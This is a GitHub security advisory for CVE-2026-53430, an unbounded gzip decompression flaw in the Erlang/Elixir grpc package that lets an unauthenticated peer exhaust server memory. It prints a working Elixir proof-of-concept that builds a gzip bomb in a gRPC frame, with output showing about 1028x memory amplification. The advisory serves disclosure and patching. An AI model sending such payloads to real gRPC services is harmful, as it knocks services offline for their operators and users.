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gRPC Erlang package has unbounded gzip decompression (decompression bomb)

High severity GitHub Reviewed Published Jun 15, 2026 in elixir-grpc/grpc

Package

erlang grpc (Erlang)

Affected versions

>= 0.4.0, < 1.0.0

Patched versions

1.0.0

Description

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in elixir-grpc/grpc@beae680

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end
Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

References

@polvalente polvalente published to elixir-grpc/grpc Jun 15, 2026
Published by the National Vulnerability Database Jun 15, 2026
Published to the GitHub Advisory Database Aug 25, 2026
Reviewed Aug 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(28th percentile)

Weaknesses

Improper Handling of Highly Compressed Data (Data Amplification)

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. Learn more on MITRE.

CVE ID

CVE-2026-53430

GHSA ID

GHSA-6ccx-9c9f-327w

Source code

Credits

Dependabot alerts are not supported on some or all of the ecosystems on this advisory.

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